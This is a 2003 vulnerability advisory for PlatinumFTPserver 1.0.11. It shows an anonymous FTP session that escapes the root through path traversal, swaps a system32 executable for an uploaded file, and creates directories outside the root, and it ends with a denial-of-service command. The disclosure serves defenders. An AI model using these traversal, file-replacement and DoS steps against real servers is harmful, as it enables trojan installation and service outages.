Vulnerability in PlatinumFTPserver V1.0.11

Vendor: PlatinumFTPserver (C)2002 BYTE/400 LTD

Discovered by: SER Pui Kin, Hong Kong

serpuikin (at) hotmail (dot) com [email concealed]

Date: 24 Feb 2003

========================================================================
==

Summary

-------------------

A vulnerability in Platinum FTP server is that it cannot stop users to

traverse the file system out of the FTP root directory "/". Meanwhile,

anonymous user can retrieve or replace any file in the FTP server. Trojan

house can be easily installed to the affected server.

The DOS vulnerability reported by Dennis Rand for Plantinum v1.0.7 has

not been fixed yet in v1.0.11.

Details

-------------------

Version affected:

* PlatinumFTPServer version 1.0.10, verion 1.0.11

Demonstration

-------------------

C:\testing>ftp localhost

Connected to ibm-kin.

220-PlatinumFTPserver V1.0.11

220-PlatinumFTPserver (C)2002 BYTE/400 LTD

220-

220 Enter login details

User (ibm-kin:(none)): anonymous

331 Password required for anonymous.

Password:

230-Send comments to support (at) PlatinumFTP (dot) com [email concealed]

230-Date 2/24/2003, Time 9:56:07 AM.

230 Storage available 8,671,645,696 Bytes.

ftp> dir

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe

226 Listing complete.

ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec.

ftp> pwd

257 "/" is current directory.

ftp> dir \..

200 PORT command successful

500 /. or \. reference not allowed for security reasons.

########################################################

## To retrieve file directory information out of the FTP root directory

########################################################

ftp> dir ..

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 1406 Oct 10 23:38 3.ico

drwxr-xr-x 1 User Group 0 Feb 24 09:54 Backup

-rwxr-xr-x 1 User Group 90112 Aug 26 22:15 Clean.exe

-rwxr-xr-x 1 User Group 418816 Feb 22 06:19 Console.exe

-rwxr-xr-x 1 User Group 198315 Sep 3 03:47 FtpObjectHelp.chm

-rwxr-xr-x 1 User Group 46592 Dec 12 06:58

InstallService.exe

-rwxr-xr-x 1 User Group 15431 Jul 8 17:52 License.rtf

drwxr-xr-x 1 User Group 0 Feb 24 09:56 logs

-rwxr-xr-x 1 User Group 3224767 Jan 4 23:03

PlatinumFTPserver.chm

-rwxr-xr-x 1 User Group 141312 Feb 22 06:22

PlatinumFTPserverEngine.exe

-rwxr-xr-x 1 User Group 7406 Jul 19 23:51 Readme.ico

-rwxr-xr-x 1 User Group 27109 Feb 22 20:12 Readme.rtf

-rwxr-xr-x 1 User Group 69 Feb 22 11:54 reg.bat

-rwxr-xr-x 1 User Group 69904 Jun 24 18:02 RegPatch.exe

-rwxr-xr-x 1 User Group 43581 Feb 22 07:37 Releasenotes.rtf

drwxr-xr-x 1 User Group 0 Feb 24 10:04 root

-rwxr-xr-x 1 User Group 201728 Dec 11 07:09 ScriptEditor.exe

drwxr-xr-x 1 User Group 0 Feb 24 09:54 Scripts

-rwxr-xr-x 1 User Group 3036 Sep 1 15:37 TIPOFDAY.TXT

-rwxr-xr-x 1 User Group 468490 Jul 8 17:53 vbscript.chm

-rwxr-xr-x 1 User Group 61952 Aug 29 13:16 ViewLog.exe

-rwxr-xr-x 1 User Group 89600 Nov 23 04:00 ZipManager.exe

-rwxr-xr-x 1 User Group 92595 Sep 3 03:02 ZipObjectHelp.chm

226 Listing complete.

ftp: 1634 bytes received in 0.00Seconds 1634000.00Kbytes/sec.

ftp> dir ../../../../windows/system32/cmd*

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe

-rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe

-rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll

-rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe

-rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc

226 Listing complete.

ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec.

########################################################

## To get the file cmd2.exe out of the FTP root

########################################################

ftp> get ../../../../windows/system32/cmd2.exe

200 PORT command successful

550 ../../../../windows/system32/cmd2.exe: No such file or directory.

ftp> dir

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe

226 Listing complete.

ftp: 67 bytes received in 0.00Seconds 67000.00Kbytes/sec.

ftp> rename ../../../../windows/system32/cmd2.exe

To name cmd2.exe

350 Command OK - waiting for name

250 File/dir renamed to \cmd2.exe

ftp> dir

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd2.exe

-rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd3.exe

226 Listing complete.

ftp: 134 bytes received in 0.00Seconds 134000.00Kbytes/sec.

########################################################

## To replace the cmd2.exe with the anonymous's program cmd3.exe

########################################################

ftp> rename cmd3.exe

To name ../../../../windows/system32/cmd2.exe

350 Command OK - waiting for name

250 File/dir renamed to \..\..\..\..\windows\system32\cmd2.exe

ftp> dir ../../../../windows/system32/cmd*

200 PORT command successful

150 Opening ASCII mode data connection for /bin/ls.

-rwxr-xr-x 1 User Group 375808 Aug 18 20:00 cmd.exe

-rwxr-xr-x 1 User Group 28 Feb 24 09:59 cmd2.exe

-rwxr-xr-x 1 User Group 324608 Aug 29 18:40 cmdial32.dll

-rwxr-xr-x 1 User Group 41472 Aug 29 18:41 cmdl32.exe

-rwxr-xr-x 1 User Group 40505 Aug 18 20:00 cmdlib.wsc

226 Listing complete.

ftp: 342 bytes received in 0.00Seconds 342000.00Kbytes/sec.

ftp>

########################################################

## To create directory out of the FTP root

########################################################

ftp> pwd

257 "/" is current directory.

ftp> mkdir ../testing1

257 ../testing1 directory created

########################################################

## To DOS the FTP server. CPU will be 100% utilized

########################################################

ftp> cd @/..@/..

[ reply ]